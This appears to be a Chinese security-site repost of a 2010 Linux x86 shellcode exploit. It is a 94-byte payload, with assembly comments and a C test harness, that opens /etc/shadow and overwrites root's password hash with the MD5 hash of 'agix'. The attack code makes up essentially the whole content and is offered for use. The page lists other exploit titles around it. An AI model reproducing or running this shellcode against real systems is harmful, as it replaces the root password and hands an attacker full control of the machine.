首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode 94 bytes
来源:Inj3ct0r.com 作者:agix 发布时间:2010-05-17  
===============================================================
linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode 94 bytes
===============================================================


 /* 
 | Title: Linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode 94 Bytes
 | Description: replace root's password with hash of "agix" in MD5
 | Type: Shellcode
 | Author: agix
 | Platform: Linux X86
*/

#include <stdio.h>

char shellcode[] =
"\x31\xC9"             //xor ecx,ecx
"\x51"               //push ecx
"\x68\x61\x64\x6F\x77"       //push dword 0x776f6461
"\x68\x63\x2F\x73\x68"       //push dword 0x68732f63
"\x68\x2F\x2F\x65\x74" //push dword 0x74652f2f
"\x89\xE3"               //mov ebx,esp
"\x66\xB9\x91\x01"           //mov cx,0x191
"\x31\xC0"               //xor eax,eax
"\xB0\x05"               //mov al,0x5
"\xCD\x80"               //int 0x80
"\x89\xC3"               //mov ebx,eax
"\x68\x32\x48\x31\x3A"       //push dword 0x3a314832
"\x68\x4F\x65\x4B\x66"       //push dword 0x664b654f
"\x68\x7A\x37\x6B\x45"       //push dword 0x456b377a
"\x68\x38\x48\x35\x75"       //push dword 0x75354838
"\x68\x50\x73\x31\x42"       //push dword 0x42317350
"\x68\x24\x4E\x75\x68"       //push dword 0x68754e24
"\x68\x6D\x67\x69\x39"       //push dword 0x3969676d
"\x68\x49\x4D\x4D\x6B"       //push dword 0x6b4d4d49
"\x89\xE1"               //mov ecx,esp
"\x31\xC0"               //xor eax,eax
"\x31\xD2"               //xor edx,edx
"\xB2\x20"               //mov dl,0x20
"\xB0\xB5"               //mov al,0xb5
"\x31\xF6"               //xor esi,esi
"\x46"                 //inc esi
"\x46"                 //inc esi
"\x01\xF6"               //add esi,esi
"\x01\xF6"               //add esi,esi
"\x31\xFF"             //xor edi,edi
"\xCD\x80";               //int 0x80

int main(int argc, char **argv) {
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int) shellcode;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·win32/xp sp2 Fr Download and E
·Samba Multiple DoS Vulnerabili
·FreeBSD 8.0-RELEASE/x86 //sbin
·WFTPD Server 3.30 Multiple rem
·Firefox 3.6.3 & Safari 4.0.5 -
·Invision Power Board Multiple
·SmallFTPD FTP Server v1.0.3 DE
·TYPSoft FTP Server v1.10 RETR
·IncrediMail (ImShExtU.dll) Act
·Shellzip v3.0 Beta 3 (.zip) 0d
·zervit Web Server v0.4 Directo
·zervit Web Server v0.4 Source
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved